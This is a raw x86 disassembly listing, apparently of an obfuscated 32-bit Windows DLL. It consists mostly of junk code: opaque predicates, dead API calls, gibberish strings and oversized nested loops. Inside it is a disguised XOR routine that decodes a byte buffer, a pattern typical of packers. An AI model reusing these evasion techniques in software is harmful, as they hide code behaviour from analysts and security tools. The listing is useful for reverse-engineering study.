test eax, eax
je 0x10028e73
cmp dword [ebp - 0x9f8], 0
je 0x10028e73
mov dword [ebp - 0x7fc], 1
jmp 0x10028e7a
and dword [ebp - 0x7fc], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x7fc], eax
je 0x10028e94
mov dword [ebp - 0x94c], 1
jmp 0x10028e9b
and dword [ebp - 0x94c], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x94c], eax
jle 0x10028eb5
mov dword [ebp - 0x804], 1
jmp 0x10028ebc
and dword [ebp - 0x804], 0
mov eax, dword [ebp - 0x804]
mov dword [ebp - 0xbc0], eax
jmp 0x10028d79
mov byte [ebp - 4], 0x27
cmp dword [ebp - 0xa48], 0x37f1
jge 0x10028eed
mov edx, dword [ebp - 0xcf0]
mov ecx, 0x100792f8
call fcn.1000c8f5
jmp 0x10028f09
mov dword [ebp - 4], 0x26
jmp 0x10028f19
jmp 0x10028c54
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe40]
call fcn.1000a787
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x200]
inc eax
mov dword [ebp - 0x25c], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x200]
mov ecx, dword [ebp - 0x24]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x24], eax
jmp 0x10028ae1
mov dword [ebp - 4], 0x29
cmp dword [ebp - 0x80c], 0x569d
jge 0x10028f78
push dword [ebp - 0xbcc]
call fcn.10046acc
pop ecx
jmp 0x10028f94
or dword [ebp - 4], 0xffffffff
jmp 0x10028f9e
mov dword [ebp - 0x588], 0x6de713a
mov dword [ebp - 0xd90], 0x1cb4
cmp dword [ebp - 0xd90], 0x114f
jge 0x10029032
lea eax, [ebp - 0xcf8]
push eax
lea eax, [ebp - 0xbd8]
push eax
mov ecx, 0x100793b0
call fcn.100330ee
mov ecx, eax
call fcn.100330ee
cvtsi2sd xmm0, dword [ebp - 0xbd8]
mov ecx, dword [ebp - 0xcf8]
movsd qword [ebp - 0xfdc], xmm0
movsd xmm0, qword [0x1006c278]
call fcn.1001ed07
movsd xmm1, qword [ebp - 0xfdc]
mulsd xmm0, xmm1
movsd qword [ebp - 0xfe8], xmm0
push fcn.1000cc97
movsd xmm1, qword [ebp - 0xfe8]
mov ecx, 0x100792f8
call fcn.1003324b
mov ecx, eax
call fcn.1000a4e0
mov dword [ebp - 0x28], 0x905d09ea
mov dword [ebp - 0x424], 0xfffffffa
mov dword [ebp - 0x390], 0xffffffff
mov dword [ebp - 0x45c], 0xcbae
push 2
lea ecx, [ebp - 0xe1c]
call fcn.1000a704
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x320], 0
jmp 0x10029084
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 2
jge 0x100290a6
push dword [ebp - 0x320]
lea ecx, [ebp - 0xe1c]
call fcn.1000a7a3
mov dword [eax], 0xfffffff7
jmp 0x10029077
mov dword [ebp - 0x28], 1
cmp dword [ebp - 0x28], 0
je 0x100290c8
mov eax, 0x6316
test eax, eax
je 0x100290c8
mov dword [ebp - 0xbe4], 1
jmp 0x100290cf
and dword [ebp - 0xbe4], 0
mov eax, dword [ebp - 0x588]
mov dword [ebp - 0xf08], eax
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0xf10], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xf18], eax
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0xf20], eax
cmp dword [ebp - 0x28], 0xffffffff
ja 0x1002910f
xor eax, eax
jne 0x1002910f
and dword [ebp - 0x584], 0
jmp 0x10029119
mov dword [ebp - 0x584], 1
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x584]
cmp eax, 0xac01
jne 0x10029135
mov dword [ebp - 0x590], 1
jmp 0x1002913c
and dword [ebp - 0x590], 0
mov eax, dword [ebp - 0x588]
cmp eax, dword [ebp - 0x590]
jg 0x10029156
mov dword [ebp - 0x598], 1
jmp 0x1002915d
and dword [ebp - 0x598], 0
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x598]
jne 0x10029177
cmp dword [ebp - 0x28], 0
jne 0x10029177
and dword [ebp - 0x5a0], 0
jmp 0x10029181
mov dword [ebp - 0x5a0], 1
mov eax, dword [ebp - 0x5a0]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x45c]
cmp eax, dword [ebp - 0x390]
jne 0x100292e0
mov dword [ebp - 0x48c], 0x56d20a2e
mov dword [ebp - 0x11c], 0xca6d786f
mov dword [ebp - 0x390], 4
cmp dword [ebp - 0x390], 0
je 0x10029258
cmp dword [ebp - 0x28], 0
je 0x10029218
cmp dword [ebp - 0x11c], 0
jne 0x100291e5
mov dword [ebp - 0x5a8], 1
jmp 0x100291ec
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x45c]
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp - 0x48c]
cmp eax, dword [ebp - 0x424]
jne 0x10029218
mov dword [ebp - 0x5b0], 1
jmp 0x1002921f
and dword [ebp - 0x5b0], 0
cmp dword [ebp - 0x5b0], 0xd385
jge 0x10029237
mov dword [ebp - 0x5b8], 1
jmp 0x1002923e
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x5b8], eax
jl 0x10029258
mov dword [ebp - 0x5c0], 1
jmp 0x1002925f
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x11c]
imul eax, dword [ebp - 0x5c0]
cmp eax, dword [ebp - 0x11c]
jle 0x10029286
cmp dword [ebp - 0x48c], 0
jne 0x10029286
and dword [ebp - 0x5c8], 0
jmp 0x10029290
mov dword [ebp - 0x5c8], 1
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x5c8], eax
jl 0x100292aa
mov dword [ebp - 0x5d0], 1
jmp 0x100292b1
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x5d0], eax
jg 0x100292cb
mov dword [ebp - 0x5d8], 1
jmp 0x100292d2
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x11c], eax
jmp 0x10029325
mov dword [ebp - 0x28], 1
jmp 0x100292f0
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jl 0x10029325
mov byte [ebp - 0x140], 0
movzx eax, byte [ebp - 0x140]
test eax, eax
je 0x1002930e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push dword [ebp - 0x28]
lea ecx, [ebp - 0xe1c]
call fcn.1000a7a3
cmp dword [eax], 0
je 0x10029323
jmp 0x10029325
jmp 0x100292e9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe1c]
call fcn.1000a787
mov dword [ebp - 0x5e0], 0x6176
mov dword [ebp - 0xbf0], str.miumsfjse_nhvm_oulas_djd_bczvdv_wphenxrw_gmtrjy_gbccts_wagf_vbpc_ihxwf_vflxcw_bjbrrm
cmp dword [ebp - 0x5e0], 0x6525
jle 0x100293ff
and dword [ebp - 0x328], 0
jmp 0x1002936e
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0x19fc
jge 0x100293ff
and dword [ebp - 0x3c8], 0
jmp 0x10029394
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0x289c
jge 0x100293fa
mov eax, dword [ebp - 0x328]
cdq
idiv dword [ebp - 0x3c8]
mov eax, edx
cdq
mov dword [ebp - 0xc34], eax
mov dword [ebp - 0xc30], edx
push dword [ebp - 0xc30]
push dword [ebp - 0xc34]
lea ecx, [ebp - 0x112c]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0xd48], eax
mov ecx, dword [ebp - 0xd48]
call fcn.1000a45e
push eax
call fcn.10046acc
pop ecx
lea ecx, [ebp - 0x112c]
call fcn.1000a440
jmp 0x10029387
jmp 0x10029361
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x25c]
movzx eax, byte [ebp + eax - 0x202]
movsx eax, byte [ebp + eax - 0xdac]
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0x1ff]
and ecx, eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x25c]
movzx eax, byte [ebp + eax - 0x202]
movsx eax, byte [ebp + eax - 0xdac]
mov edx, dword [ebp - 0x24]
movzx edx, byte [ebp + edx - 0x1ff]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x200]
mov byte [ebp + eax - 0xdac], dl
mov dword [ebp - 4], 0x2c
cmp dword [ebp - 0x5e0], 0x609b
jge 0x1002947e
push dword [ebp - 0xbf0]
call fcn.10046acc
pop ecx
jmp 0x1002949a
or dword [ebp - 4], 0xffffffff
jmp 0x100294a4
and dword [ebp - 0x25c], 0
jmp 0x10028ae1
mov dword [ebp - 0x5e8], 0x69cf
mov dword [ebp - 0xd00], str.hjyy_prbwqzh_sab_kwtfecrly_mvps
cmp dword [ebp - 0x5e8], 0x6c7b
jle 0x1002957e
and dword [ebp - 0x274], 0
jmp 0x100294ea
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0x77a
jge 0x1002957e
and dword [ebp - 0x264], 0
jmp 0x10029510
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0x5f55
jge 0x10029579
and dword [ebp - 0x26c], 0
jmp 0x10029532
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x7573
jge 0x10029577
mov ecx, dword [ebp - 0x264]
sub ecx, dword [ebp - 0x26c]
mov eax, dword [ebp - 0x274]
sar eax, cl
cdq
mov dword [ebp - 0xc40], eax
mov dword [ebp - 0xc3c], edx
push dword [ebp - 0xc3c]
push dword [ebp - 0xc40]
mov ecx, 0x100792f8
call fcn.1000a4ec
jmp 0x10029525
jmp 0x10029503
jmp 0x100294dd
mov dword [ebp - 4], 0x2e
cmp dword [ebp - 0x5e8], 0x68fa
jge 0x100295a1
mov edx, dword [ebp - 0xd00]
mov ecx, 0x100792f8
call fcn.1000c8f5
jmp 0x100295bd
or dword [ebp - 4], 0xffffffff
jmp 0x100295c7
mov dword [ebp - 0x27c], 0xe1757117
mov dword [ebp - 0x58], 0
jmp 0x100295e1
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jge 0x100295f7
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0xeb4], 0x3245f1db
jmp 0x100295da
mov dword [ebp - 0x58], 0
jmp 0x10029607
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jge 0x1002961d
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0xbfc], 0xfffffffd
jmp 0x10029600
mov dword [ebp - 0x27c], 0xffffffe4
jmp 0x10029636
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0xffffffea
jne 0x100296cf
mov dword [ebp - 0x284], 0xd37ad43
mov dword [ebp - 0x284], 0
jmp 0x10029666
mov eax, dword [ebp - 0x284]
dec eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0
jl 0x100296b0
mov dword [ebp - 0x28c], 0xffffffff
mov dword [ebp - 0x28c], 0
jmp 0x10029692
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0
jg 0x100296ae
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xbfc], 0xfba1a4d6
jmp 0x10029685
jmp 0x10029659
mov byte [ebp - 0xf5], 0
movzx eax, byte [ebp - 0xf5]
test eax, eax
je 0x100296ca
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
jmp 0x10029629
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0xdac], 0
mov dword [ebp - 0x294], 0xf3c3
mov dword [ebp - 0x42c], 0x591b68de
mov dword [ebp - 0xd80], 0
mov dword [ebp - 0xc08], 0x7515
mov dword [ebp - 0xf30], 1
mov byte [ebp - 0x142], 0
movzx eax, byte [ebp - 0x142]
test eax, eax
je 0x10029738
push 0
push 0x1b8
push 0x9ab
push 0x2dd
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
mov eax, dword [ebp - 0x294]
cmp eax, dword [ebp - 0x294]
jne 0x1002975f
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0xf38], eax
xor eax, eax
jne 0x1002975f
and dword [ebp - 0x5f8], 0
jmp 0x10029769
mov dword [ebp - 0x5f8], 1
cmp dword [ebp - 0x294], 5
je 0x1002977e
mov dword [ebp - 0x5f0], 1
jmp 0x10029785
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0
je 0x100297af
cmp dword [ebp - 0x42c], 0
je 0x100297af
mov dword [ebp - 0x600], 1
jmp 0x100297b6
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x5f8]
imul eax, dword [ebp - 0x600]
test eax, eax
jne 0x100297d3
mov dword [ebp - 0x608], 1
jmp 0x100297da
and dword [ebp - 0x608], 0
mov eax, dword [ebp - 0x608]
neg eax
cmp eax, dword [ebp - 0xd80]
jle 0x100297f6
mov dword [ebp - 0x610], 1
jmp 0x100297fd
and dword [ebp - 0x610], 0
cmp dword [ebp - 0x610], 0xa969
je 0x10029815
mov dword [ebp - 0x618], 1
jmp 0x1002981c
and dword [ebp - 0x618], 0
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0xc08], eax
lea eax, [ebp - 0xdac]
push eax
lea ecx, [ebp - 0x10f4]
call fcn.10033369
mov dword [ebp - 4], 0x30
mov dword [ebp - 0x4c0], 0xb3ae3556
mov dword [ebp - 0x4bc], 0xb3ae3556
mov dword [ebp - 0x4b8], 0xb3ae3556
mov dword [ebp - 0x4b4], 0xb3ae3556
mov dword [ebp - 0x124], 0x63d62a04
mov dword [ebp - 0xc14], 1
mov dword [ebp - 0x29c], 0
jmp 0x10029896
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 3
jge 0x100298b2
mov eax, dword [ebp - 0x29c]
mov dword [ebp + eax*4 - 0x1098], 0x1213072c
jmp 0x10029889
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x4c0], 0
jmp 0x100298e0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4c0]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x4c0], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x4c0], 0xffffffeb
je 0x10029ac1
mov dword [ebp - 0x1ac], 0xfffffff9
mov dword [ebp - 0x5c], 0
jmp 0x1002990e
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jge 0x10029924
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0xdc0], 7
jmp 0x10029907
mov dword [ebp - 0x5c], 0
jmp 0x10029934
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 4
jge 0x1002994a
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x10c4], 0xde661fbc
jmp 0x1002992d
mov dword [ebp - 0x1ac], 0
jmp 0x10029963
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 1
jg 0x10029abc
mov dword [ebp - 0x178], 0xe8588d0d
mov dword [ebp - 0x178], 1
jmp 0x10029993
cmp dword [ebp - 0x178], 0
jl 0x10029ab7
mov dword [ebp - 0xd08], 0x76acb8f
mov dword [ebp - 0x208], 0
jmp 0x100299c3
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 2
jge 0x100299df
mov eax, dword [ebp - 0x208]
mov dword [ebp + eax*4 - 0x1030], 0xe3e76316
jmp 0x100299b6
cmp dword [ebp - 0x1ac], 0x747bb7ab
jne 0x100299f7
mov dword [ebp - 0x620], 1
jmp 0x100299fe
and dword [ebp - 0x620], 0
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp + eax*4 - 0xdc0]
cmp dword [ebp - 0x620], eax
jg 0x10029a1f
mov dword [ebp - 0x628], 1
jmp 0x10029a26
and dword [ebp - 0x628], 0
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp + eax*4 - 0xdc0]
imul eax, dword [ebp - 0x628]
mov dword [ebp - 0x630], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x630]
mov dword [ebp + eax - 0x1030], ecx
cmp dword [ebp - 0x630], 0x3c61
jge 0x10029a6b
jmp 0x10029956
jmp 0x100298c5
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x4c0]
cmp ecx, dword [ebp + eax - 0x4c0]
jg 0x10029af0
push 0xfffffffffffffffb
pop eax
test eax, eax
je 0x10029af0
mov dword [ebp - 0x434], 1
jmp 0x10029af7
and dword [ebp - 0x434], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x434]
mov dword [ebp + eax - 0x1098], ecx
mov dword [ebp - 0x124], 0x5d3e
mov eax, dword [ebp - 0x124]
cmp dword [ebp - 0x434], eax
jle 0x10029b2e
mov dword [ebp - 0x638], 1
jmp 0x10029b35
and dword [ebp - 0x638], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4c0]
cmp dword [ebp - 0x638], eax
jle 0x10029c20
mov dword [ebp - 0xc20], 0x1260
mov dword [ebp - 0x124], 0xd
jmp 0x10029b71
mov eax, dword [ebp - 0x124]
dec eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 8
jne 0x10029c1e
mov dword [ebp - 0x640], 0xfffffffa
mov dword [ebp - 0x480], 1
mov eax, dword [ebp - 0x640]
mov dword [ebp - 0x480], eax
mov eax, dword [ebp - 0x480]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x4c0], eax
mov eax, dword [ebp - 0xc14]
cmp eax, dword [ebp - 0x480]
jne 0x10029bcb
mov dword [ebp - 0xd50], 1
jmp 0x10029bd2
and dword [ebp - 0xd50], 0
mov eax, dword [ebp - 0x640]
mov dword [ebp - 0xf40], eax
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0xf48], eax
cmp dword [ebp - 0xc20], 1
jne 0x10029bff
mov dword [ebp - 0x648], 1
jmp 0x10029c06
and dword [ebp - 0x648], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x648]
mov dword [ebp + eax - 0x4c0], ecx
jmp 0x10029b64
jmp 0x10029c34
mov dword [ebp - 0xd10], 0xfffe
mov dword [ebp - 0xd10], 0xfffffffd
and dword [ebp - 0x240], 0
jmp 0x10029c4a
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0xf
jae 0x1002a5b1
mov dword [ebp - 0xd4], 0xa5d6c05b
mov dword [ebp - 0x238], 7
mov dword [ebp - 0x50], 0x598aaf0a
mov dword [ebp - 0x12c], 0x51aa8c97
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x180], 0x1e9780ce
mov dword [ebp - 0xd4], 0xffffffe5
jmp 0x10029ca9
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0xfffffffe
je 0x1002a59e
push 1
lea ecx, [ebp - 0xb4]
call fcn.1000a704
mov byte [ebp - 4], 0x31
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x210], 0
jmp 0x10029ce7
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 1
jge 0x10029d09
push dword [ebp - 0x210]
lea ecx, [ebp - 0xb4]
call fcn.1000a7a3
mov dword [eax], 0xde0b
jmp 0x10029cda
mov dword [ebp - 0x30], 0
jmp 0x10029d19
cmp dword [ebp - 0x30], 0
jl 0x1002a58a
mov dword [ebp - 0x1c4], 0xfffffffa
mov dword [ebp - 0x1c0], 0xfffffffa
mov dword [ebp - 0x1bc], 0xfffffffa
mov dword [ebp - 0x1b8], 0xfffffffa
mov dword [ebp - 0x43c], 0
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x1c4], 0
jmp 0x10029d80
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1c4], 0
jl 0x1002a225
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0xb4]
call fcn.1000a787
jmp 0x10029c9c
mov eax, dword [ebp - 0x240]
mov byte [ebp + eax - 0xdac], 0
jmp 0x10029c3d
push 1
push 0
lea eax, [ebp - 0x10f4]
push eax
push dword [ebp - 0x720]
call fcn.1002c51a
add esp, 0x10
mov dword [0x1007d428], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10f4]
call fcn.1001aeb6
mov dword [ebp - 4], 0x34
cmp dword [ebp - 0x728], 0x4683
jge 0x1002a5fd
push dword [ebp - 0xc44]
call fcn.10046acc
pop ecx
jmp 0x1002a619
or dword [ebp - 4], 0xffffffff
jmp 0x1002a623
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x770], 3
mov dword [ebp - 0x74], 9
mov dword [ebp - 0x38], 0
jmp 0x1002a64b
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xa
jge 0x1002ac1a
mov dword [ebp - 0x4c], 0x2d14
push 3
lea ecx, [ebp - 0x478]
call fcn.1000a704
mov dword [ebp - 4], 0x36
mov dword [ebp - 0x248], 0
jmp 0x1002a689
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 3
jge 0x1002a6a8
push dword [ebp - 0x248]
lea ecx, [ebp - 0x478]
call fcn.1000a7a3
and dword [eax], 0
jmp 0x1002a67c
cmp dword [ebp - 0x4c], 0
je 0x1002a8e1
mov dword [ebp - 0x44c], 0xffffffff
mov dword [ebp - 0x488], 0xce96f8f9
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x250], 0
jmp 0x1002a6e9
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 1
jge 0x1002a705
mov eax, dword [ebp - 0x250]
mov dword [ebp + eax*4 - 0x404], 0xfffffffe
jmp 0x1002a6dc
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xff8], eax
mov dword [ebp - 0x44c], 0xc8d4675
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1000], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1008], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0x1010], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x1018], eax
mov eax, dword [ebp - 0x44c]
mov dword [ebp - 0x1020], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1028], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x404], 6
jne 0x1002a779
mov dword [ebp - 0x730], 1
jmp 0x1002a780
and dword [ebp - 0x730], 0
cmp dword [ebp - 0x730], 7
je 0x1002a795
mov dword [ebp - 0x444], 1
jmp 0x1002a79c
and dword [ebp - 0x444], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x444]
mov dword [ebp + eax - 0x404], ecx
cmp dword [ebp - 0x444], 0
je 0x1002a7cd
cmp dword [ebp - 0x488], 0
je 0x1002a7cd
mov dword [ebp - 0x738], 1
jmp 0x1002a7d4
and dword [ebp - 0x738], 0
cmp dword [ebp - 0x738], 0x3a34
jl 0x1002a7ec
mov dword [ebp - 0x740], 1
jmp 0x1002a7f3
and dword [ebp - 0x740], 0
cmp dword [ebp - 0x740], 0x3de8
jg 0x1002a80b
mov dword [ebp - 0x748], 1
jmp 0x1002a812
and dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x748]
je 0x1002a832
cmp dword [ebp - 0x44c], 0
je 0x1002a832
mov dword [ebp - 0x750], 1
jmp 0x1002a839
and dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x750]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x4c]
jl 0x1002a85f
mov eax, 0xd362
test eax, eax
jne 0x1002a85f
and dword [ebp - 0x758], 0
jmp 0x1002a869
mov dword [ebp - 0x758], 1
push 2
lea ecx, [ebp - 0x478]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x758]
mov dword [eax], ecx
mov dword [ebp - 0x134], 0
jmp 0x1002a897
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 2
jg 0x1002a8dc
push dword [ebp - 0x134]
lea ecx, [ebp - 0x478]
call fcn.1000a7a3
mov esi, eax
push dword [ebp - 0x134]
lea ecx, [ebp - 0x478]
call fcn.1000a7a3
mov eax, dword [eax]
mov dword [esi], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x404], 0
je 0x1002a8da
jmp 0x1002a8dc
jmp 0x1002a88a
jmp 0x1002ab21
mov dword [ebp - 0x1b0], 0xffffffff
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x1034], eax
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x1050], eax
cmp dword [ebp - 0x1b0], 0
jne 0x1002a91e
cmp dword [ebp - 0x770], 0
jne 0x1002a91e
and dword [ebp - 0x760], 0
jmp 0x1002a928
mov dword [ebp - 0x760], 1
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x760], eax
je 0x1002a93f
mov dword [ebp - 0x768], 1
jmp 0x1002a946
and dword [ebp - 0x768], 0
mov eax, dword [ebp - 0x1b0]
cmp dword [ebp - 0x768], eax
jg 0x1002a960
mov dword [ebp - 0x778], 1
jmp 0x1002a967
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x770]
cmp dword [ebp - 0x778], eax
jge 0x1002a981
mov dword [ebp - 0xc9c], 1
jmp 0x1002a988
and dword [ebp - 0xc9c], 0
push 2
lea ecx, [ebp - 0x478]
call fcn.1000a7a3
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x780], eax
push 0
lea ecx, [ebp - 0x478]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x780]
mov dword [eax], ecx
mov eax, dword [ebp - 0x780]
add eax, 0x25e1e30e
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x788], 0xba6
mov dword [ebp - 0xca4], str.fhez_crwj_yludg_hbuvp_jtvi_ucvww_aunvdkvuk_gbbnzhytj_xmlqx_mawtc
cmp dword [ebp - 0x788], 0xf20
jle 0x1002aabe
and dword [ebp - 0x258], 0
jmp 0x1002a9fb
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0x2146
jge 0x1002aabe
and dword [ebp - 0x2fc], 0
jmp 0x1002aa21
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x4a5c
jge 0x1002aab9
and dword [ebp - 0x304], 0
jmp 0x1002aa47
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x1bc8
jge 0x1002aab4
mov eax, dword [ebp - 0x258]
mov ecx, dword [ebp - 0x2fc]
sar eax, cl
mov ecx, dword [ebp - 0x304]
sar eax, cl
cdq
mov dword [ebp - 0xc58], eax
mov dword [ebp - 0xc54], edx
push dword [ebp - 0xc54]
push dword [ebp - 0xc58]
lea ecx, [ebp - 0x1144]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0xc50], eax
mov ecx, dword [ebp - 0xc50]
call fcn.1000a45e
push eax
call fcn.10046acc
pop ecx
lea ecx, [ebp - 0x1144]
call fcn.1000a440
jmp 0x1002aa3a
jmp 0x1002aa14
jmp 0x1002a9ee
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x74], eax
mov esi, dword [ebp - 0x74]
push 2
lea ecx, [ebp - 0x478]
call fcn.1000a7a3
mov dword [eax], esi
mov byte [ebp - 4], 0x37
cmp dword [ebp - 0x788], 0x855
jge 0x1002aaf5
push dword [ebp - 0xca4]
call fcn.10046acc
pop ecx
jmp 0x1002ab11
mov dword [ebp - 4], 0x36
jmp 0x1002ab21
mov dword [ebp - 0x74], 2
jmp 0x1002ab31
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jl 0x1002ac06
mov dword [ebp - 0x30c], 0
jmp 0x1002ab54
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 2
jge 0x1002ab70
mov eax, dword [ebp - 0x30c]
mov dword [ebp + eax*4 - 0xde8], 0x6f056e99
